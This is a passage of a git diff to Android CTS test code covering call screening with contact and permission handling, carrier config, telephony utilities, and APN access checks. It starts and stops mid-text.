bnd) throws android.os.RemoteException; + + public android.os.IBinder getBinder() throws android.os.RemoteException; +} diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java index 283910bfee4..ee383b21356 100644 --- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java +++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java @@ -52,11 +52,9 @@ public class PackageSignatureTest extends AndroidTestCase { PackageManager packageManager = mContext.getPackageManager(); List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages( PackageManager.GET_UNINSTALLED_PACKAGES | - PackageManager.GET_SIGNATURES | - PackageManager.MATCH_APEX); + PackageManager.GET_SIGNATURES); for (PackageInfo packageInfo : allPackageInfos) { String packageName = packageInfo.packageName; - Log.v(TAG, "Scanning " + packageName); if (packageName != null && !isWhitelistedPackage(packageName)) { for (Signature signature : packageInfo.signatures) { if (wellKnownSignatures.contains(signature)) { @@ -82,20 +80,6 @@ public class PackageSignatureTest extends AndroidTestCase { wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform)); wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared)); wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release)); - wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata)); return wellKnownSignatures; } diff --git a/tests/tests/speech/AndroidTest.xml b/tests/tests/speech/AndroidTest.xml index 9ce9cf31625..53bca68f431 100644 --- a/tests/tests/speech/AndroidTest.xml +++ b/tests/tests/speech/AndroidTest.xml @@ -20,6 +20,8 @@ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <!-- TTS Synthesizer pipeline is native code. --> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <!-- Test is eligible to run on Android Multiuser users other than SYSTEM. --> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml index 227a2ad0d23..5e28993f1be 100644 --- a/tests/tests/telecom/AndroidManifest.xml +++ b/tests/tests/telecom/AndroidManifest.xml @@ -29,6 +29,8 @@ <uses-permission android:name="android.permission.ACCEPT_HANDOVER" /> <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> + <uses-permission android:name="android.permission.READ_CONTACTS" /> + <uses-permission android:name="android.permission.WRITE_CONTACTS" /> <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" /> diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml index c3b39a7ecb5..c0b4673710b 100644 --- a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml +++ b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml @@ -18,6 +18,9 @@ package="android.telecom.cts.screeningtestapp"> <permission android:name="android.telecom.cts.screeningtestapp.CTS_SERVICE_PERMISSION" android.protectionLevel="signature"/> + <uses-permission android:name="android.permission.READ_CONTACTS" /> + <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS" /> + <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" /> <application android:label="CTSCSTest"> <service android:name=".CtsCallScreeningService" android:permission="android.permission.BIND_SCREENING_SERVICE"> diff --git a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java index d9591969191..a14f86a889b 100644 --- a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java +++ b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java @@ -17,8 +17,8 @@ package android.telecom.cts; import static android.telecom.cts.TestUtils.shouldTestTelecom; -import static org.junit.Assert.assertTrue; +import android.content.ContentResolver; import android.telecom.cts.MockCallScreeningService.CallScreeningServiceCallbacks; import android.content.ComponentName; @@ -58,6 +58,7 @@ public class CallScreeningServiceTest extends InstrumentationTestCase { private String mPreviousDefaultDialer; MockConnectionService mConnectionService; private boolean mCallFound; + private ContentResolver mContentResolver; @Override protected void setUp() throws Exception { @@ -70,6 +71,7 @@ public class CallScreeningServiceTest extends InstrumentationTestCase { setupConnectionService(); MockCallScreeningService.enableService(mContext); } + mContentResolver = getInstrumentation().getTargetContext().getContentResolver(); } @Override @@ -109,6 +111,36 @@ public class CallScreeningServiceTest extends InstrumentationTestCase { fail("No call added to CallScreeningService."); } + /** + * Tests that when sendinga a CALL intent via the Telecom stack and the test number is in the + * user's contact, Telecom binds to the registered {@link CallScreeningService}s and invokes + * onScreenCall. + */ + public void testBindsToCallScreeningServiceWhenContactExist() throws Exception { + if (!shouldTestTelecom(mContext)) { + return; + } + + CallScreeningServiceCallbacks callbacks = createCallbacks(); + MockCallScreeningService.setCallbacks(callbacks); + Uri contactUri = TestUtils.insertContact(mContentResolver, + TEST_NUMBER.getSchemeSpecificPart()); + addNewIncomingCall(TEST_NUMBER); + + try { + if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S, + TimeUnit.SECONDS)) { + assertTrue(mCallFound); + return; + } + } catch (InterruptedException e) { + } finally { + assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri)); + } + + fail("No call added to CallScreeningService."); + } + private void addNewIncomingCall(Uri incomingHandle) { Bundle extras = new Bundle(); extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle); diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java index b82a84e3981..471893799f7 100644 --- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java +++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java @@ -18,6 +18,8 @@ package android.telecom.cts; import android.app.Instrumentation; import android.bluetooth.BluetoothDevice; import android.content.ComponentName; +import android.content.ContentProviderOperation; +import android.content.ContentResolver; import android.content.Context; import android.content.pm.PackageManager; import android.graphics.Color; @@ -31,6 +33,7 @@ import android.os.ParcelFileDescriptor; import android.os.Process; import android.os.SystemClock; import android.os.UserManager; +import android.provider.ContactsContract; import android.telecom.PhoneAccount; import android.telecom.PhoneAccountHandle; import android.telecom.TelecomManager; @@ -666,4 +669,37 @@ public class TestUtils { instrumentation.getContext().getSystemService(UserManager.class); return userManager.getSerialNumberForUser(Process.myUserHandle()); } + + + + public static Uri insertContact(ContentResolver contentResolver, String phoneNumber) + throws Exception { + ArrayList<ContentProviderOperation> ops = new ArrayList<>(); + ops.add(ContentProviderOperation + .newInsert(ContactsContract.RawContacts.CONTENT_URI) + .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, "test_type") + .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, "test_name") + .build()); + ops.add(ContentProviderOperation + .newInsert(ContactsContract.Data.CONTENT_URI) + .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) + .withValue(ContactsContract.Data.MIMETYPE, + ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE) + .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME, "test") + .build()); + ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI) + .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) + .withValue(ContactsContract.Data.MIMETYPE, + ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE) + .withValue(ContactsContract.CommonDataKinds.Phone.NUMBER, phoneNumber) + .withValue(ContactsContract.CommonDataKinds.Phone.TYPE, + ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE) + .withYieldAllowed(true) + .build()); + return contentResolver.applyBatch(ContactsContract.AUTHORITY, ops)[0].uri; + } + + public static int deleteContact(ContentResolver contentResolver, Uri deleteUri) { + return contentResolver.delete(deleteUri, null, null); + } } diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java index 3251dbe0cd8..aa01b761adb 100644 --- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java +++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java @@ -21,11 +21,14 @@ import static android.telecom.cts.TestUtils.waitOnAllHandlers; import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity; +import android.Manifest; import android.app.role.RoleManager; import android.content.ComponentName; +import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; +import android.content.pm.PackageManager; import android.database.Cursor; import android.net.Uri; import android.os.Bundle; @@ -61,6 +64,9 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS private ICallScreeningControl mCallScreeningControl; private RoleManager mRoleManager; private String mPreviousCallScreeningPackage; + private PackageManager mPackageManager; + private Uri mContactUri; + private ContentResolver mContentResolver; @Override protected void setUp() throws Exception { @@ -69,12 +75,15 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS return; } mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE); + mPackageManager = mContext.getPackageManager(); + revokeReadContactPermission(); setupControlBinder(); setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE); rememberPreviousCallScreeningApp(); // Ensure CTS app holds the call screening role. addRoleHolder(ROLE_CALL_SCREENING, CtsCallScreeningService.class.getPackage().getName()); + mContentResolver = getInstrumentation().getTargetContext().getContentResolver(); } @Override @@ -109,10 +118,10 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS // Tell the test app to block the call. mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */, - true /* shouldRejectCall */, false /* shouldSilenceCall */, false /* shouldSkipCallLog */, - true /* shouldSkipNotification */); + true /* shouldRejectCall */, false /* shouldSilenceCall */, + false /* shouldSkipCallLog */, true /* shouldSkipNotification */); - addIncomingAndVerifyBlocked(); + addIncomingAndVerifyBlocked(false /* addContact */); } /** @@ -129,10 +138,10 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS // Tell the test app to block the call; also try to skip logging the call. mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */, - true /* shouldRejectCall */, false /* shouldSilenceCall */, true /* shouldSkipCallLog */, - true /* shouldSkipNotification */); + true /* shouldRejectCall */, false /* shouldSilenceCall */, + true /* shouldSkipCallLog */, true /* shouldSkipNotification */); - addIncomingAndVerifyBlocked(); + addIncomingAndVerifyBlocked(false /* addContact */); } /** @@ -169,6 +178,55 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS addIncomingAndVerifyCallExtraForSilence(false); } + public void testHasPermissionAndNoContactIncoming() throws Exception { + if (!shouldTestTelecom(mContext)) { + return; + } + + grantReadContactPermission(); + // Tell the test app to block the call. + mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */, + true /* shouldRejectCall */, false /* shouldSilenceCall */, + false /* shouldSkipCallLog */, true /* shouldSkipNotification */); + addIncomingAndVerifyBlocked(false /* addContact */); + } + + public void testNoPermissionAndNoContactIncoming() throws Exception { + if (!shouldTestTelecom(mContext)) { + return; + } + + // Tell the test app to block the call. + mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */, + true /* shouldRejectCall */, false /* shouldSilenceCall */, + false /* shouldSkipCallLog */, true /* shouldSkipNotification */); + addIncomingAndVerifyBlocked(false /* addContact */); + } + + public void testHasPermissionAndHasContactIncoming() throws Exception { + if (!shouldTestTelecom(mContext)) { + return; + } + + grantReadContactPermission(); + mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */, + true /* shouldRejectCall */, false /* shouldSilenceCall */, + false /* shouldSkipCallLog */, true /* shouldSkipNotification */); + addIncomingAndVerifyBlocked(true /* addContact */); + } + + public void testNoPermissionAndHasContactIncoming() throws Exception { + if (!shouldTestTelecom(mContext)) { + return; + } + + verifyNoPermission(); + mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */, + true /* shouldRejectCall */, false /* shouldSilenceCall */, + false /* shouldSkipCallLog */, true /* shouldSkipNotification */); + addIncomingAndVerifyAllowed(true /* addContact */); + } + private Uri placeOutgoingCall() throws Exception { // Setup content observer to notify us when we call log entry is added. CountDownLatch callLogEntryLatch = getCallLogEntryLatch(); @@ -187,10 +245,14 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS return phoneNumber; } - private Uri addIncoming(boolean disconnectImmediately) throws Exception { + private Uri addIncoming(boolean disconnectImmediately, boolean addContact) throws Exception { // Add call through TelecomManager; we can't use the test methods since they assume a call // makes it through to the InCallService; this is blocked so it shouldn't. Uri testNumber = createRandomTestNumber(); + if (addContact) { + mContactUri = TestUtils.insertContact(mContentResolver, + testNumber.getSchemeSpecificPart()); + } // Setup content observer to notify us when we call log entry is added. CountDownLatch callLogEntryLatch = getCallLogEntryLatch(); @@ -213,11 +275,36 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS return testNumber; } - private void addIncomingAndVerifyBlocked() throws Exception { - Uri testNumber = addIncoming(false); + private void addIncomingAndVerifyAllowed(boolean addContact) throws Exception { + Uri testNumber = addIncoming(true, addContact); + + // Query the latest entry into the call log. + Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null, + null, null, CallLog.Calls._ID + " DESC limit 1;"); + int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER); + int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE); + int blockReasonIndex = callsCursor.getColumnIndex(CallLog.Calls.BLOCK_REASON); + if (callsCursor.moveToNext()) { + String number = callsCursor.getString(numberIndex); + int callType = callsCursor.getInt(callTypeIndex); + int blockReason = callsCursor.getInt(blockReasonIndex); + assertEquals(testNumber.getSchemeSpecificPart(), number); + assertEquals(CallLog.Calls.INCOMING_TYPE, callType); + assertEquals(CallLog.Calls.BLOCK_REASON_NOT_BLOCKED, blockReason); + } else { + fail("Call not logged"); + } + + if (addContact && mContactUri != null) { + assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri)); + } + } + + private void addIncomingAndVerifyBlocked(boolean addContact) throws Exception { + Uri testNumber = addIncoming(false, addContact); // Query the latest entry into the call log. - Cursor callsCursor = mContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, + Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null, null, null, CallLog.Calls._ID + " DESC limit 1;"); int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER); int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE); @@ -240,11 +327,15 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS } else { fail("Blocked call was not logged."); } + + if (addContact && mContactUri != null) { + assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri)); + } } private void addIncomingAndVerifyCallExtraForSilence(boolean expectedIsSilentRingingExtraSet) throws Exception { - Uri testNumber = addIncoming(false); + Uri testNumber = addIncoming(false, false); waitUntilConditionIsTrueOrTimeout( new Condition() { @@ -349,4 +440,24 @@ public class ThirdPartyCallScreeningServiceTest extends BaseTelecomTestWithMockS assertTrue(result); } + private void grantReadContactPermission() { + runWithShellPermissionIdentity(() -> { + if (mPackageManager != null) { + mPackageManager.grantRuntimePermission(TEST_APP_PACKAGE, + Manifest.permission.READ_CONTACTS, mContext.getUser()); + }}); + } + + private void revokeReadContactPermission() { + runWithShellPermissionIdentity(() -> { + if (mPackageManager != null) { + mPackageManager.revokeRuntimePermission(TEST_APP_PACKAGE, + Manifest.permission.READ_CONTACTS, mContext.getUser()); + }}); + } + + private void verifyNoPermission() { + assertTrue(mPackageManager.checkPermission(Manifest.permission.READ_CONTACTS, + TEST_APP_PACKAGE) == PackageManager.PERMISSION_DENIED); + } } diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java index 39a9346426b..aeeb9b1e5e0 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java @@ -28,8 +28,6 @@ import static androidx.test.InstrumentationRegistry.getContext; import static androidx.test.InstrumentationRegistry.getInstrumentation; import static com.android.compatibility.common.util.AppOpsUtils.setOpMode; -import static com.android.internal.telephony.TelephonyIntents.EXTRA_SPN; -import static com.android.internal.telephony.TelephonyIntents.SPN_STRINGS_UPDATED_ACTION; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; @@ -38,10 +36,7 @@ import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import android.app.UiAutomation; -import android.content.BroadcastReceiver; import android.content.Context; -import android.content.Intent; -import android.content.IntentFilter; import android.content.pm.PackageManager; import android.net.ConnectivityManager; import android.os.Looper; @@ -49,6 +44,7 @@ import android.os.PersistableBundle; import android.platform.test.annotations.SecurityTest; import android.telephony.CarrierConfigManager; import android.telephony.SubscriptionManager; +import android.telephony.SubscriptionManager.OnSubscriptionsChangedListener; import android.telephony.TelephonyManager; import com.android.compatibility.common.util.TestThread; @@ -58,15 +54,18 @@ import org.junit.Before; import org.junit.Test; import java.io.IOException; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; public class CarrierConfigManagerTest { private static final String CARRIER_NAME_OVERRIDE = "carrier_a"; private CarrierConfigManager mConfigManager; private TelephonyManager mTelephonyManager; + private SubscriptionManager mSubscriptionManager; private PackageManager mPackageManager; private static final int TOLERANCE = 2000; - private final Object mLock = new Object(); + private static final CountDownLatch COUNT_DOWN_LATCH = new CountDownLatch(1); @Before public void setUp() throws Exception { @@ -74,6 +73,9 @@ public class CarrierConfigManagerTest { getContext().getSystemService(Context.TELEPHONY_SERVICE); mConfigManager = (CarrierConfigManager) getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE); + mSubscriptionManager = + (SubscriptionManager) + getContext().getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE); mPackageManager = getContext().getPackageManager(); } @@ -215,6 +217,18 @@ public class CarrierConfigManagerTest { public void run() { Looper.prepare(); + OnSubscriptionsChangedListener listener = + new OnSubscriptionsChangedListener() { + @Override + public void onSubscriptionsChanged() { + if (CARRIER_NAME_OVERRIDE.equals( + mTelephonyManager.getSimOperatorName())) { + COUNT_DOWN_LATCH.countDown(); + } + } + }; + mSubscriptionManager.addOnSubscriptionsChangedListener(listener); + PersistableBundle carrierNameOverride = new PersistableBundle(3); carrierNameOverride.putBoolean(KEY_CARRIER_NAME_OVERRIDE_BOOL, true); carrierNameOverride.putBoolean(KEY_FORCE_HOME_NETWORK_BOOL, true); @@ -226,27 +240,11 @@ public class CarrierConfigManagerTest { }); try { - BroadcastReceiver spnBroadcastReceiver = new BroadcastReceiver() { - @Override - public void onReceive(Context context, Intent intent) { - if (CARRIER_NAME_OVERRIDE.equals(intent.getStringExtra(EXTRA_SPN))) { - synchronized (mLock) { - mLock.notify(); - } - } - } - }; - - getContext().registerReceiver( - spnBroadcastReceiver, - new IntentFilter(SPN_STRINGS_UPDATED_ACTION)); - - synchronized (mLock) { - t.start(); - mLock.wait(TOLERANCE); // wait for SPN broadcast + t.start(); + boolean didCarrierNameUpdate = COUNT_DOWN_LATCH.await(TOLERANCE, TimeUnit.MILLISECONDS); + if (!didCarrierNameUpdate) { + fail("CarrierName not overridden in " + TOLERANCE + " ms"); } - - assertEquals(CARRIER_NAME_OVERRIDE, mTelephonyManager.getSimOperatorName()); } finally { mConfigManager.overrideConfig(subId, null); ui.dropShellPermissionIdentity(); diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java index daf078be856..49558d1401d 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java @@ -31,6 +31,7 @@ import android.os.RemoteException; import android.provider.Contacts; import android.provider.Contacts.People; import android.telephony.PhoneNumberUtils; +import android.telephony.SubscriptionManager; import android.telephony.TelephonyManager; import android.text.Editable; import android.text.Spannable; @@ -38,12 +39,12 @@ import android.text.SpannableString; import android.text.SpannableStringBuilder; import android.text.style.TtsSpan; -import java.util.Locale; - import org.junit.After; import org.junit.Before; import org.junit.Test; +import java.util.Locale; + public class PhoneNumberUtilsTest { private static final int MIN_MATCH = 7; @@ -92,6 +93,7 @@ public class PhoneNumberUtilsTest { String.format("+1 (700).555-41NN%c1-2.34 %c%cN", PhoneNumberUtils.WAIT, PhoneNumberUtils.PAUSE, PhoneNumberUtils.WAIT))); + assertEquals("example", PhoneNumberUtils.getUsernameFromUriNumber("example@example.com")); } @Test @@ -332,6 +334,18 @@ public class PhoneNumberUtilsTest { // Test isWellFormedSmsAddress assertTrue(PhoneNumberUtils.isWellFormedSmsAddress("+17005554141")); assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android")); + + // Test isUriNumber + assertTrue(PhoneNumberUtils.isUriNumber("example@example.com")); + assertFalse(PhoneNumberUtils.isUriNumber("+18005555555")); + + // Test isVoicemailNumber -- this is closely tied to the SIM so we'll just test some basic + // cases + assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(), + SubscriptionManager.getDefaultSubscriptionId(), null)); + assertFalse(PhoneNumberUtils.isVoiceMailNumber(getContext(), + SubscriptionManager.getDefaultSubscriptionId(), "")); + } @Test diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java index 26358f0eff7..403ef32e0d6 100755 --- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java @@ -16,27 +16,25 @@ package android.telephony.cts; -import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber; -import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber; - import static androidx.test.InstrumentationRegistry.getContext; import static androidx.test.InstrumentationRegistry.getInstrumentation; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import static com.android.compatibility.common.util.BlockedNumberUtil.deleteBlockedNumber; +import static com.android.compatibility.common.util.BlockedNumberUtil.insertBlockedNumber; import static org.hamcrest.Matchers.anyOf; import static org.hamcrest.Matchers.emptyString; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.greaterThan; -import static org.hamcrest.Matchers.lessThanOrEqualTo; import static org.hamcrest.Matchers.startsWith; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; import static org.junit.Assert.assertThat; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; import android.app.AppOpsManager; import android.app.PendingIntent; @@ -57,7 +55,6 @@ import android.os.Bundle; import android.os.ParcelFileDescriptor; import android.os.RemoteCallback; import android.os.SystemClock; -import android.provider.Settings; import android.provider.Telephony; import android.telephony.SmsManager; import android.telephony.SmsMessage; @@ -65,6 +62,10 @@ import android.telephony.TelephonyManager; import android.text.TextUtils; import android.util.Log; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; + import java.io.BufferedReader; import java.io.FileInputStream; import java.io.IOException; @@ -79,10 +80,6 @@ import java.util.concurrent.CompletableFuture; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; - /** * Tests for {@link android.telephony.SmsManager}. * @@ -671,7 +668,13 @@ public class SmsManagerTest { protected void sendMultiPartTextMessage(String destAddr, ArrayList<String> parts, ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) { - getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, deliveryIntents); + if (mContext.getOpPackageName() != null) { + getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, + deliveryIntents, mContext.getOpPackageName()); + } else { + getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, + deliveryIntents); + } } protected void sendDataMessage(String destAddr,short port, byte[] data, PendingIntent sentIntent, PendingIntent deliveredIntent) { diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java index 51c15637bc3..9950386bf3d 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java @@ -285,6 +285,23 @@ public class SubscriptionManagerTest { } @Test + public void testSetDefaultVoiceSubId() { + int oldSubId = SubscriptionManager.getDefaultVoiceSubscriptionId(); + InstrumentationRegistry.getInstrumentation().getUiAutomation() + .adoptShellPermissionIdentity(); + try { + mSm.setDefaultVoiceSubscriptionId(SubscriptionManager.INVALID_SUBSCRIPTION_ID); + assertEquals(SubscriptionManager.INVALID_SUBSCRIPTION_ID, + SubscriptionManager.getDefaultVoiceSubscriptionId()); + mSm.setDefaultVoiceSubscriptionId(oldSubId); + assertEquals(oldSubId, SubscriptionManager.getDefaultVoiceSubscriptionId()); + } finally { + InstrumentationRegistry.getInstrumentation().getUiAutomation() + .dropShellPermissionIdentity(); + } + } + + @Test public void testSubscriptionPlansOverrideUnmetered() throws Exception { if (!isSupported()) return; diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java index 75079d948d9..3ffeafab428 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java @@ -465,6 +465,7 @@ public class TelephonyManagerTest { mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount); mTelephonyManager.getSubIdForPhoneAccountHandle(defaultAccount); mTelephonyManager.getCarrierConfig(); + TelephonyManager.getDefaultRespondViaMessageApplication(getContext(), false); } @Test @@ -686,6 +687,20 @@ public class TelephonyManagerTest { } /** + * Tests the max number of active SIMs method + */ + @Test + public void testGetMaxNumberOfSimultaneouslyActiveSims() { + if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) { + Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY"); + return; + } + + int maxNum = mTelephonyManager.getMaxNumberOfSimultaneouslyActiveSims(); + assertTrue(maxNum >= 1); + } + + /** * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address * if only a WiFi device. At least one of them must be valid. */ diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java index d54260be9f6..79337916ac4 100644 --- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java +++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/TelephonyProviderTest.java @@ -18,7 +18,6 @@ package android.telephonyprovider.cts; import android.content.ContentResolver; import android.database.Cursor; -import android.net.Uri; import android.provider.Telephony.Carriers; import android.test.InstrumentationTestCase; @@ -42,97 +41,18 @@ public class TelephonyProviderTest extends InstrumentationTestCase { // In JB MR1 access to the TelephonyProvider's Carriers table was clamped down and would // throw a SecurityException when queried. That was fixed in JB MR2. Verify that 3rd parties // can access the APN info the carriers table, after JB MR1. + + // However, in R, a security bug was discovered that let apps read the password by querying + // multiple times and matching passwords against a regex in the query. Due to this hole, we're + // locking down the API and no longer allowing the exception. Accordingly, the behavior of this + // test is now reversed and we expect a SecurityException to be thrown. public void testAccessToApns() { try { String selection = Carriers.CURRENT + " IS NOT NULL"; String[] selectionArgs = null; Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI, APN_PROJECTION, selection, selectionArgs, null); - } catch (SecurityException e) { - fail("No access to current APN"); - } - } - - public void testNoAccessToPassword() { - try { - String selection = Carriers.CURRENT + " IS NOT NULL AND " - + Carriers.PASSWORD + " IS NOT NULL"; - String[] selectionArgs = null; - Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI, - APN_PROJECTION, selection, selectionArgs, null); - fail("Expected SecurityException"); - } catch (SecurityException e) { - // expected - } - } - - public void 